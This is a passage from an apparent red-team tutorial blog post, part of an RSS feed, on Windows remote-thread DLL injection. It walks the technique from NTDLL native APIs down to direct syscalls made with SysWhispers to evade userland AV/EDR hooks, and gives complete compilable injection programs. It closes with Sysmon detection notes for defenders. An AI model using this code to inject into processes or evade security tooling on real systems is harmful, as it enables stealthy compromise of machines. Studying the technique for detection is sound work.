to determine if code is malicious.</p><p><em>“Security software will hook specific userspace API functions that are commonly used by malware. For example, a code hook installed on winsock.connect can examine the IP and port of an outgoing network connection and decide whether the connection should be allowed or blocked. A combination of hooks installed on OpenProcess, VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread detect malicious process injection.” — Ref: </em><a href="https://blogs.blackberry.com/en/2017/02/universal-unhooking-blinding-security-software"><em>here</em></a></p><p>Let’s analyze API calls in our scenario. We will pass the RemoteThreadCreate.exe process and the arguments (PID and DLL Path Name) to the API Monitoring tool configured with Data Access and Storage, NT Native, System Services, Undocumented API filters. As we perform the Static import by selecting the option, we can see all the API calls made by our program as shown in the screenshot below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CfWmPPtZzueMsVfceoP3gQ.png" /></figure><p>If we look at the KERNELBASE module and the associated APIs invoked, we will be able to find out functions that are running under the Kernel level which performs the final action. These lower-level API function calls are translated from userland API calls by the OS, which we are using in our initial code above.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_YbQXsGsrsX62yA0oQoViw.png" /></figure><p>Now we know that the APIs which we are using from userland (KERNEL32.DLL) are being translated to lower-level APIs resident within NTDLL.DLL which are undocumented. <em>(Note: You will not find the syntax or prototype for some NTDLL native APIs in the Microsoft Documentation. Researchers have made the prototype available publicly which we can use.)</em></p><p>If we can directly use the lower-level APIs resident within NTDLL.DLL, we would be able to stay below the AV/EDR radar (though not completely).</p><p><em>Note: There is one benefit of using the lower-level APIs that it allows any process to inject DLL into any other process </em><strong><em>irrespective of the session</em></strong><em> in which it is running as long as it has sufficient privileges</em>.</p><h3>Kernel APIs</h3><p><strong>RemoteThreadInjection via NTDLL APIs</strong></p><p>The functions which we will be using in our code are undocumented. Therefore, we have to define the structure for each function and its associated parameters. Below is the list of functions which we will be using in our program:</p><p><strong>1.</strong> <strong>NtOpenProcess</strong></p><p>Syntax:</p><pre><strong>__kernel_entry NTSYSCALLAPI NTSTATUS NtOpenProcess(</strong></pre><pre><strong>PHANDLE ProcessHandle,</strong> // [out] A pointer to a variable of type HANDLE. The ZwOpenProcess routine writes the process handle to the variable that this parameter points to.</pre><pre><strong>ACCESS_MASK DesiredAccess,</strong> <em>// [in] An ACCESS_MASK value that contains the access rights that the caller has requested to the process object.</em></pre><pre><strong>POBJECT_ATTRIBUTES ObjectAttributes,</strong> // <em>[in] A pointer to an OBJECT_ATTRIBUTES structure that specifies the attributes to apply to the process object handle. This has to be defined and initialized prior to opening the handle.</em></pre><pre><strong>PCLIENT_ID ClientId</strong> <em>// [in, optional] A pointer to a client ID that identifies the thread whose process is to be opened.</em></pre><pre><strong>);</strong></pre><p>To use the NtOpenProcess function, we have to define its definition in our code.</p><pre><strong>typedef NTSTATUS (NTAPI *_NtOpenProcess)(<br>    PHANDLE </strong>ProcessHandle<strong>,<br>    ACCESS_MASK </strong>DesiredAccess<strong>,<br>    POBJECT_ATTRIBUTES </strong>ObjectAttributes<strong>,<br>    PCLIENT_ID_EX </strong>ClientId<strong><br>);</strong></pre><p>Similarly, OBJECT_ATTRIBUTES AND CLIENT_ID need to be defined. These structures are defined under NT Kernel header files which we can’t use directly in our code, until and unless we have imported respective header files. As can be seen in the screenshots below:</p><p><strong>OBJECT_ATTRIBUTES:</strong></p><p><strong>Syntax:</strong></p><pre><strong>typedef struct</strong> <strong>_OBJECT_ATTRIBUTES</strong></pre><pre>{</pre><pre><strong>ULONG</strong> Length;</pre><pre><strong>HANDLE</strong> RootDirectory;</pre><pre><strong>PUNICODE_STRING</strong> ObjectName;</pre><pre><strong>ULONG</strong> Attributes;</pre><pre><strong>PVOID</strong> SecurityDescriptor;</pre><pre><strong>PVOID</strong> SecurityQualityOfService;</pre><pre>} <strong>OBJECT_ATTRIBUTES</strong>, <strong>* POBJECT_ATTRIBUTES</strong>;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*2tFIbouhX9YDMFB-urCEhA.png" /></figure><p><strong>CLIENT_ID:</strong></p><pre><strong>typedef struct _CLIENT_ID_EX {<br>    HANDLE </strong>UniqueProcess<strong>;<br>    HANDLE </strong>UniqueThread<strong>;<br>} CLIENT_ID_EX, *PCLIENT_ID_EX;</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*Rtq8Vdy9FfnZoUHYTx1jSg.png" /></figure><p>Before returning the handle by the NtOpenProcess function/ routine, the Object Attributes need to be initialized which can be applied to the handle. To initialize the Object Attributes an <strong><em>IntitializeObjectAttributes </em></strong>macro is defined and invoked which specifies the properties of an object handle to routines that open handles.</p><pre><strong>VOID InitializeObjectAttributes(</strong></pre><pre><strong>[out] POBJECT_ATTRIBUTES p,</strong> <em>// A pointer to the OBJECT_ATTRIBUTES structure to initialize.</em></pre><pre><strong>[in] PUNICODE_STRING n,</strong> <em>// A pointer to a Unicode string that contains the name of the object for which a handle is to be opened.</em></pre><pre><strong>[in] ULONG a,</strong> <em>// This specifies the flag that is applicable to the object handle.</em></pre><pre><strong>[in] HANDLE r,</strong> <em>// A handle to the root object directory for the path name specified in the ObjectName parameter. If ObjectName is a fully qualified object name, RootDirectory is NULL.</em></pre><pre><strong>[in, optional] PSECURITY_DESCRIPTOR s</strong> <em>// Specifies a security descriptor to apply to an object when it is created. This parameter is optional. Drivers can specify NULL to accept the default security for the object.</em></pre><pre><strong>);</strong></pre><p>Similarly, the UNICODE_STRING structure needs to be defined which is a second input parameter that is being used by the IntializeObjectAttributes macro.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*J1fIoyHWpLhjKz75CT_crg.png" /></figure><p><em>Note: Without defining the above structs the code will not run. These are the dependencies that have to be defined.</em></p><p>Now, let&#39;s see how our NtOpenProcess Definition looks like:</p><pre><strong>typedef struct _CLIENT_ID_EX {<br>    HANDLE </strong>UniqueProcess<strong>;<br>    HANDLE </strong>UniqueThread<strong>;<br>} CLIENT_ID_EX, *PCLIENT_ID_EX;</strong></pre><pre><strong><em>typedef struct _UNICODE_STRING</em></strong></pre><pre><em>{</em></pre><pre><strong><em>USHORT </em></strong><em>Length;</em></pre><pre><strong><em>USHORT </em></strong><em>MaximumLength;</em></pre><pre><strong><em>PWSTR </em></strong><em>Buffer;</em></pre><pre><em>} </em><strong><em>UNICODE_STRING</em></strong><em>, * </em><strong><em>PUNICODE_STRING</em></strong><em>;</em></pre><pre><strong><em>typedef struct _OBJECT_ATTRIBUTES</em></strong></pre><pre><em>{</em></pre><pre><strong><em>ULONG </em></strong><em>Length;</em></pre><pre><strong><em>HANDLE</em></strong><em> RootDirectory;</em></pre><pre><strong><em>PUNICODE_STRING </em></strong><em>ObjectName;</em></pre><pre><strong><em>ULONG </em></strong><em>Attributes;</em></pre><pre><strong><em>PVOID </em></strong><em>SecurityDescriptor;</em></pre><pre><strong><em>PVOID </em></strong><em>SecurityQualityOfService;</em></pre><pre><em>} </em><strong><em>OBJECT_ATTRIBUTES</em></strong><em>, </em><strong><em>* POBJECT_ATTRIBUTES</em></strong><em>;</em></pre><pre><strong><em>#define InitializeObjectAttributes(p, n, a, r, s) \</em></strong></pre><pre><em>{ \</em></pre><pre><strong><em>(p)-&gt;Length</em></strong><em> = sizeof(OBJECT_ATTRIBUTES); \</em></pre><pre><strong><em>(p)-&gt;RootDirectory</em></strong><em> = r; \</em></pre><pre><strong><em>(p)-&gt;Attributes</em></strong><em> = a; \</em></pre><pre><strong><em>(p)-&gt;ObjectName </em></strong><em>= n; \</em></pre><pre><strong><em>(p)-&gt;SecurityDescriptor</em></strong><em> = s; \</em></pre><pre><strong><em>(p)-&gt;SecurityQualityOfService</em></strong><em> = NULL; \</em></pre><pre><em>}</em></pre><pre><strong>typedef NTSTATUS (NTAPI *_NtOpenProcess)(<br>    PHANDLE </strong>ProcessHandle<strong>,<br>    ACCESS_MASK </strong>DesiredAccess<strong>,<br>    POBJECT_ATTRIBUTES </strong>ObjectAttributes<strong>,<br>    PCLIENT_ID_EX </strong>ClientId<strong><br>);</strong></pre><p><strong>2.</strong> <strong>NtAllocateVirtualMemory</strong></p><p>The NtAllocateVirtualMemory routine reserves, commit, or both, a region of pages within the user-mode virtual address space of a specified process.</p><p><strong>Syntax:</strong></p><pre><strong>__kernel_entry NTSYSCALLAPI NTSTATUS NtAllocateVirtualMemory(</strong></pre><pre><strong>HANDLE ProcessHandle, </strong>// <em>[in] A handle for the process for which the mapping should be done.</em></pre><pre><strong>PVOID *BaseAddress,</strong> <em>// [in, out] A pointer to a variable that will receive the base address of the allocated region of pages.</em></pre><pre><strong>ULONG_PTR ZeroBits,</strong> <em>// [in] The number of high-order address bits that must be zero in the base address of the section view.</em></pre><pre><strong>PSIZE_T RegionSize,</strong> <em>// [in, out] A pointer to a variable that will receive the actual size, in bytes, of the allocated region of pages.</em></pre><pre><strong>ULONG AllocationType,</strong> <em>// [in] A bitmask containing flags that specify the type of allocation to be performed for the specified region of pages.</em></pre><pre><strong>ULONG Protect</strong> <em>// A bitmask containing page protection flags that specify the protection desired for the committed region of pages.</em></pre><pre>);</pre><pre>//In order to use NtAllocateVirtualMemory function, we have to define its definition in our code.</pre><pre><strong>typedef NTSTATUS(NTAPI *_NtAllocateVirtualMemory)(<br>    HANDLE ProcessHandle,<br>    PVOID *BaseAddress,<br>    ULONG_PTR ZeroBits,<br>    PSIZE_T RegionSize,<br>    ULONG AllocationType,<br>    ULONG Protect<br>);</strong></pre><p><strong>2.</strong> <strong>NtWriteVirtualMemory</strong></p><p><strong>Syntax:</strong></p><pre><strong>NtWriteVirtualMemory(</strong></pre><pre><strong>IN HANDLE ProcessHandle, </strong>// <em>[in] A handle for the process for which the mapping should be done.</em></pre><pre><strong>IN PVOID BaseAddress, </strong><em>// [in] The base address of the allocated region of pages.</em></pre><pre><strong>IN PVOID Buffer,</strong></pre><pre><strong>IN ULONG NumberOfBytesToWrite,</strong></pre><pre><strong>OUT PULONG NumberOfBytesWritten OPTIONAL );</strong></pre><pre>//In order to use <strong>NtWriteVirtualMemory</strong> function, we have to define its definition in our code.</pre><pre><strong>typedef NTSTATUS(NTAPI *_NtWriteVirtualMemory)(<br>    HANDLE ProcessHandle,<br>    PVOID BaseAddress,<br>    PVOID Buffer,<br>    SIZE_T NumberOfBytesToWrite,<br>    PSIZE_T NumberOfBytesWritten<br>);</strong></pre><p><strong>3.</strong> <strong>NtCreateThreadEx</strong></p><p><strong>Syntax:</strong></p><pre><strong>typedef NTSTATUS (NTAPI *_NtCreateThreadEx)(<br>    PHANDLE </strong>ThreadHandle<strong>,<br>    ACCESS_MASK </strong>DesiredAccess<strong>,<br>    POBJECT_ATTRIBUTES </strong>ObjectAttributes<strong>,<br>    HANDLE </strong>ProcessHandle<strong>,<br>    PVOID </strong>StartRoutine<strong>,<br>    PVOID </strong>Argument<strong>,<br>    ULONG </strong>CreateFlags<strong>,<br>    SIZE_T </strong>ZeroBits<strong>,<br>    SIZE_T </strong>StackSize<strong>,<br>    SIZE_T </strong>MaximumStackSize<strong>,<br>    PVOID </strong>AttributeList<strong><br>);</strong></pre><p>For invoking NtCreateThreadEx, we have to define PPS_ATTRIBUTE_LIST :</p><pre><strong><em>typedef struct _PS_ATTRIBUTE</em></strong></pre><pre><em>{</em></pre><pre><strong><em>ULONG </em></strong><em>Attribute;</em></pre><pre><strong><em>SIZE_T </em></strong><em>Size;</em></pre><pre><strong><em>union</em></strong></pre><pre><em>{</em></pre><pre><strong><em>ULONG </em></strong><em>Value;</em></pre><pre><strong><em>PVOID </em></strong><em>ValuePtr;</em></pre><pre><em>} </em><strong><em>u1</em></strong><em>;</em></pre><pre><strong><em>PSIZE_T </em></strong><em>ReturnLength;</em></pre><pre><em>} </em><strong><em>PS_ATTRIBUTE</em></strong><em>, </em><strong><em>* PPS_ATTRIBUTE</em></strong><em>;</em></pre><pre><strong><em>typedef struct _PS_ATTRIBUTE_LIST</em></strong></pre><pre><em>{</em></pre><pre><strong><em>SIZE_T </em></strong><em>TotalLength;</em></pre><pre><strong><em>PS_ATTRIBUTE </em></strong><em>Attributes[1];</em></pre><pre><em>} </em><strong><em>PS_ATTRIBUTE_LIST</em></strong><em>, </em><strong><em>* PPS_ATTRIBUTE_LIST</em></strong><em>;</em></pre><p>Till now, we have defined all the dependencies that will be required to execute the NT functions. In the below section, I have explained the working of the main code. There are three methods to perform this technique:</p><ol><li>Pass the Process ID and DLL PATH NAME as command-line arguments</li><li>Hardcode the DLL PATH NAME inside the attacker’s code.</li><li>Hardcode the shellcode in the attacker’s code.</li></ol><p>Below is the code for point no. 1:</p><p><strong>Code:</strong></p><pre><strong>#include &lt;Windows.h&gt;<br>#include &lt;stdio.h&gt;</strong></pre><pre><strong>int Error(const char* str) {<br> printf(&quot;%s (%u)\n&quot;, str, GetLastError());<br> return 1;<br>}</strong></pre><pre><strong>typedef struct _CLIENT_ID {<br> PVOID UniqueProcess;<br> PVOID UniqueThread;<br>} CLIENT_ID, *PCLIENT_ID;</strong></pre><pre><strong>typedef struct _UNICODE_STRING {<br> USHORT Length;<br> USHORT MaximumLength;<br> PWSTR  Buffer;<br>} UNICODE_STRING, *PUNICODE_STRING;</strong></pre><pre><strong>typedef struct _OBJECT_ATTRIBUTES {<br> ULONG           Length;<br> HANDLE          RootDirectory;<br> PUNICODE_STRING ObjectName;<br> ULONG           Attributes;<br> PVOID           SecurityDescriptor;<br> PVOID           SecurityQualityOfService;<br>} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;</strong></pre><pre><strong>#define InitializeObjectAttributes(p, n, a, r, s) \<br>{ \<br> (p)-&gt;Length = sizeof(OBJECT_ATTRIBUTES); \<br> (p)-&gt;RootDirectory = r; \<br> (p)-&gt;Attributes = a; \<br> (p)-&gt;ObjectName = n; \<br> (p)-&gt;SecurityDescriptor = s; \<br> (p)-&gt;SecurityQualityOfService = NULL; \<br>}</strong></pre><pre><strong>typedef NTSTATUS(NTAPI* _NtOpenProcess)(PHANDLE ProcessHandle, ACCESS_MASK AccessMask, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientID);</strong></pre><pre><strong>typedef NTSTATUS(NTAPI* _NtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);</strong></pre><pre><strong>typedef NTSTATUS(NTAPI* _NtWriteVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten);</strong></pre><pre><strong>typedef NTSTATUS(NTAPI* _NtCreateThreadEx)(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, HANDLE ProcessHandle, PVOID StartRoutine, PVOID Argument, ULONG CreateFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, PVOID AttributeList);</strong></pre><pre><strong>int main(int argc, const char* argv[]) {<br> if (argc &lt; 3) {<br>  printf(&quot;Usage: RemoteThreadInjection &lt;PID&gt; &lt;DLL PATH NAME&gt;\n&quot;);<br>  return 0;<br> }</strong></pre><pre><strong> const char* dllPath = argv[2];<br> SIZE_T dllPathLen = strlen(dllPath) + 1;<br> LPVOID allocation_start = NULL;<br> SIZE_T allocation_size = dllPathLen;<br> HANDLE hProcess, hThread;<br> NTSTATUS status;</strong></pre><pre><strong>OBJECT_ATTRIBUTES objAttr;<br> int pid = atoi(argv[1]);<br> CLIENT_ID cID;<br> InitializeObjectAttributes(&amp;objAttr, NULL, 0, NULL, NULL);<br> cID.UniqueProcess = (PVOID)pid;<br> cID.UniqueThread = 0;</strong></pre><pre><strong>HINSTANCE hNtdll = LoadLibrary(L&quot;ntdll.dll&quot;);<br> _NtOpenProcess NtOpenProcess = (_NtOpenProcess)GetProcAddress(hNtdll, &quot;NtOpenProcess&quot;);</strong></pre><pre><strong> _NtAllocateVirtualMemory NtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetProcAddress(hNtdll, &quot;NtAllocateVirtualMemory&quot;);</strong></pre><pre><strong> _NtWriteVirtualMemory NtWriteVirtualMemory = (_NtWriteVirtualMemory)GetProcAddress(hNtdll, &quot;NtWriteVirtualMemory&quot;);</strong></pre><pre><strong> _NtCreateThreadEx NtCreateThreadEx = (_NtCreateThreadEx)GetProcAddress(hNtdll, &quot;NtCreateThreadEx&quot;);</strong></pre><pre><strong>status = NtOpenProcess(&amp;hProcess, PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD, &amp;objAttr, &amp;cID);<br> if (!hProcess)<br>  return Error(&quot;Failed to open process&quot;);</strong></pre><pre><strong>status = NtAllocateVirtualMemory(hProcess, &amp;allocation_start, 0, &amp;allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);</strong></pre><pre><strong>status = NtWriteVirtualMemory(hProcess, allocation_start, (PVOID)dllPath, allocation_size, 0);</strong></pre><pre><strong>status = NtCreateThreadEx(&amp;hThread, GENERIC_EXECUTE, NULL, hProcess, (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L&quot;kernel32.dll&quot;), &quot;LoadLibraryA&quot;), allocation_start, FALSE, 0, 0, 0, NULL);</strong></pre><pre><strong>WaitForSingleObject(hThread, 5000);<br> VirtualFreeEx(hProcess, allocation_start, 0, MEM_RELEASE);<br> CloseHandle(hProcess);<br> return 0;<br>}</strong></pre><p>Github: <a href="https://github.com/SecurityTimes/Process-Injection/blob/main/RemoteThreadInjectionNTDLLFunct_DLLLoading.cpp">https://github.com/SecurityTimes/Process-Injection/blob/main/RemoteThreadInjectionNTDLLFunct_DLLLoading.cpp</a></p><p><strong>Practical Demo:</strong></p><p>Let’s inject the DLL into the “Notepad++.exe” process. The PID is <strong>19096</strong> as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-UdJ54ioc9SeGMgGcArK9A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vg6VYl5-ZUcIKxplWyYevA.png" /></figure><p>Let’s look at our API calls in API Monitor:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BETVxkaPh00XKxwKNXyXHA.png" /></figure><p>Still, we can see and predict that this will also be detected. As we can see the pattern of the instructions highlighted above. Though, we can see that the overhead calls are reduced from 270 to 171.</p><p>In the below-mentioned API calls, we can see that loading of ntdll.dll library and then locating the various functions within it creates a lot of API calls. Therefore, we’re going to completely remove any Windows DLL loading and manually conduct the Syscalls with our own custom assembly rather than having ntdll.dll or kernelbase.dll do it for us.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*Ap6585HHooPnYuzwRiXMzw.png" /></figure><h3>Direct Syscalls</h3><p><strong>Using Direct Syscalls for RemoteThreadInjection</strong></p><p>To this point, we’ve used the Windows High-Level MSDN Documented methods of accessing process memory, changing process memory, and creating a remote thread within an external process. Next, we went one step lower and manually mapped the Nt* functions residing within ntdll.dll to our program and called them directly. Now, we’re going to completely remove any Windows DLL imports and manually conduct the Syscalls with our own custom assembly rather than having ntdll.dll or kernelbase.dll do it for us.</p><p>For generating the ASM and the header file we will be using <a href="https://github.com/jthuraisamy/SysWhispers">Syswhispers</a>. SysWhispers helps with evasion by generating header/ASM files, implants can use to make direct system calls. The functions in ntdll.dll that make the syscalls consist of just a few assembly instructions, so re-implementing them in your own implant can bypass the triggering of those security product hooks. SysWhispers provides red teamers with the ability to generate header/ASM pairs for any system call in the core kernel image (ntoskrnl.exe) across any Windows version starting from XP. The headers will also include the necessary type of definitions.</p><p>Generating the asm and header files for our code and copy the generated H/ASM files into the project folder.:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oZRm8uZPQFrPLVTCWy4YEg.png" /></figure><p><strong>How does the ASM look like?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*CEKB6si_2mh1bseBWjQkug.png" /></figure><p>We will be calling these instructions directly.</p><p><strong>What does the header files include?</strong></p><p>It includes all the type definitions which we were manually inserting to invoke NTDLL function APIs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*y6U7bmZ8Rw7S-YzFCslZTw.png" /></figure><p>To enable Assembly language support in Visual Studio, go to <em>Project</em> →Properties →<em>Build Customizations…</em> and enable MASM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*26g84pv0VjY8xPlS9bTSYw.png" /></figure><p>In the <em>Solution Explorer</em>, add the syscalls.h and syscalls.asm files to the project as header and source files, respectively.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/524/1*rT4ADUq1olbfPNSyjvjCqQ.png" /></figure><p>Go to the properties of the syscalls.asm file, and set the <em>Item Type</em> to <em>Microsoft Macro Assembler:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NK4dlAzNikxVf2fGL28NiA.png" /></figure><p>Now we have type definition already defined in Header file, syscalls.h. We can modify our code by removing the TYPE definition we made earlier for all NTDLL functions. Below is the modified code:</p><pre><strong>#include &lt;Windows.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &quot;syscalls.h&quot;</strong></pre><pre><strong>int Error(const char* str) {<br> printf(&quot;%s (%u)\n&quot;, str, GetLastError());<br> return 1;<br>}</strong></pre><pre><strong>int main(int argc, const char* argv[]) {<br> if (argc &lt; 3) {<br>  printf(&quot;Usage: RemoteThreadInjection &lt;PID&gt; &lt;DLL PATH NAME&gt;\n&quot;);<br>  return 0;<br> }<br> const char* dllPath = argv[2];<br> SIZE_T dllPathLen = strlen(dllPath) + 1;<br> LPVOID allocation_start = NULL;<br> SIZE_T allocation_size = dllPathLen;<br> HANDLE hProcess, hThread;<br> NTSTATUS status;<br> int pid = atoi(argv[1]);</strong></pre><pre><strong>CLIENT_ID cid;<br> cid.UniqueProcess = (PVOID)pid;<br> cid.UniqueThread = 0;</strong></pre><pre><strong>OBJECT_ATTRIBUTES objAttr;<br> InitializeObjectAttributes(&amp;objAttr, NULL, 0, NULL, NULL);</strong></pre><pre><strong>status = NtOpenProcess(&amp;hProcess, PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD, &amp;objAttr, &amp;cid);<br> if (!hProcess)<br>  return Error(&quot;Failed to open process&quot;);</strong></pre><pre><strong>status = NtAllocateVirtualMemory(hProcess, &amp;allocation_start, 0, &amp;allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);<br> status = NtWriteVirtualMemory(hProcess, allocation_start, (PVOID)dllPath, allocation_size, 0);<br> status = NtCreateThreadEx(&amp;hThread, GENERIC_EXECUTE, NULL, hProcess, (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L&quot;kernel32.dll&quot;), &quot;LoadLibraryA&quot;), allocation_start, FALSE, 0, 0, 0, NULL);</strong></pre><pre><strong>WaitForSingleObject(hThread, 5000);<br> VirtualFreeEx(hProcess, allocation_start, 0, MEM_RELEASE);<br> CloseHandle(hProcess);<br> return 0;<br>}</strong></pre><p>Let’s look at the API calls for the above program using API Monitor:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*szmbFyC2H9fDNCaRc8zcrg.png" /></figure><p>We don’t see the suspicious pattern that we have seen during previous API calls. That’s because we did not load any external resources(NTDLL) to conduct the Syscall. <em>We can still see GetModuleHandleW and GetProcAddress as we have used these two functions to load our DLL. This can also be avoided if we use shellcode instead of DLL.</em></p><p>Though we can avoid Userland API hooking still these API calls will be logged in to Sysmon events as Sysmon hooking is running in Kernel-Land (SYSTEM).</p><p>Lets quickly look at the Sysmon events for all the three scenarios we have performed above:</p><p>1. Sysmon logs when we used Kernel32 functions/ APIs (OpenProcess, AllocateVirtualMemoryEx, WriteVirtualMemory, CreateRemoteThread)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/649/1*618zy2J3WzUi9ukT54UQSQ.png" /></figure><p>2. Sysmon logs when we used NTDLL functions/ APIs (NtOpenProcess, NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0vOFLo1hB9Et8H-Fq7g_Bg.png" /></figure><p>3. Sysmon logs when we used Direct Syscalls:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*HFadNK-qmlXBpsVRZysK6A.png" /></figure><h3><strong>Conclusion</strong></h3><h3>Red Team</h3><p>We can evade userland API Hooking by using Direct Syscalls. Mixing this technique with others such as PPID Spoofing, <a href="https://blogs.windows.com/msedgedev/2017/02/23/mitigating-arbitrary-native-code-execution/">Arbitrary Code Guard</a>, sRDI or off-binary payload ingestion, BlockDLLs, AMSI/ETW Bypass, etc. can allow us to operate with less noise.</p><h3>Blue Team</h3><p>As shown in the blog, Sysmon can detect API hooking for all three scenarios. It&#39;s a Free Windows SysInternal tool with several features that should be rolled into your detection processes. Below are a few best blogs which I highly recommend:</p><ul><li>Black Hills Information Security Blog — <a href="https://www.blackhillsinfosec.com/getting-started-with-sysmon/">Getting Started with Sysmon</a></li><li>Black Hills Information Security Webcast — <a href="https://www.blackhillsinfosec.com/webcast-implementing-sysmon-and-applocker/">Implementing Sysmon and Applocker</a></li><li>ion storm&#39;s excellent (starter) <a href="https://github.com/ion-storm/sysmon-config">Sysmon Config</a></li><li><a href="https://posts.specterops.io/engineering-process-injection-detections-part-1-research-951e96ad3c85">https://posts.specterops.io/engineering-process-injection-detections-part-1-research-951e96ad3c85</a></li><li><a href="https://posts.specterops.io/engineering-process-injection-detections-part-2-data-modeling-c11f5aedf5e0">https://posts.specterops.io/engineering-process-injection-detections-part-2-data-modeling-c11f5aedf5e0</a></li><li><a href="https://posts.specterops.io/engineering-process-injection-detections-part-3-analytic-logic-b6014a83d4c8">https://posts.specterops.io/engineering-process-injection-detections-part-3-analytic-logic-b6014a83d4c8</a></li><li><a href="https://posts.specterops.io/detection-spectrum-198a0bfb9302">https://posts.specterops.io/detection-spectrum-198a0bfb9302</a></li></ul><p><strong><em>References:</em></strong></p><ul><li><a href="https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya">LoadLibraryA function (libloaderapi.h) - Win32 apps</a></li><li><a href="https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibraryexa">LoadLibraryExA function (libloaderapi.h) - Win32 apps</a></li><li><a href="https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress">GetProcAddress function (libloaderapi.h) - Win32 apps</a></li><li><a href="https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread">CreateRemoteThread function (processthreadsapi.h) - Win32 apps</a></li><li><a href="https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory">WriteProcessMemory function (memoryapi.h) - Win32 apps</a></li><li><a href="https://docs.microsoft.com/en-us/windows/win32/api/errhandlingapi/nf-errhandlingapi-getlasterror">GetLastError function (errhandlingapi.h) - Win32 apps</a></li><li><a href="https://www.ired.team/offensive-security/code-injection-process-injection/process-injection">CreateRemoteThread Shellcode Injection | Red Team Notes</a></li><li><a href="https://sevrosecurity.com/2020/04/08/process-injection-part-1-createremotethread/#api_call_analysis">Process Injection Part 1 | CreateRemoteThread() | Sevro Security</a></li><li><a href="https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/">Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR | Outflank Blog</a></li><li><a href="https://resources.infosecinstitute.com/topic/using-createremotethread-for-dll-injection-on-windows/">Using CreateRemoteThread for DLL Injection on Windows - Infosec Resources</a></li><li><a href="https://resources.infosecinstitute.com/api-hooking/">API Hooking - Infosec Resources</a></li><li><a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-ntopenprocess">NtOpenProcess function (ntddk.h) - Windows drivers</a></li><li><a href="https://docs.microsoft.com/en-us/windows/win32/api/ntdef/ns-ntdef-_object_attributes">_OBJECT_ATTRIBUTES (ntdef.h) - Win32 apps</a></li><li><a href="https://docs.microsoft.com/en-us/windows/win32/api/ntdef/nf-ntdef-initializeobjectattributes">InitializeObjectAttributes macro (ntdef.h) - Win32 apps</a></li><li><a href="http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FMemory%20Management%2FVirtual%20Memory%2FNtWriteVirtualMemory.html">NTAPI Undocumented Functions</a></li><li><a href="https://github.com/jthuraisamy/SysWhispers">GitHub - jthuraisamy/SysWhispers: AV/EDR evasion via direct system calls.</a></li></ul><p><strong><em>Note: In case I have missed any reference, please let me know and I’ll add that to the list. Apologies in advance. Happy Learning!😊</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a8a49ae5def6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding and Abusing Access Tokens — Part II]]></title>
            <link>https://securitytimes.medium.com/understanding-and-abusing-access-tokens-part-ii-b9069f432962?source=rss-42ec6161c4d2------2</link>
            <guid isPermaLink="false">https://medium.com/p/b9069f432962</guid>
            <category><![CDATA[red-teaming]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[windows-internals]]></category>
            <category><![CDATA[access-token]]></category>
            <category><![CDATA[impersonation]]></category>
            <dc:creator><![CDATA[Seemant Bisht]]></dc:creator>
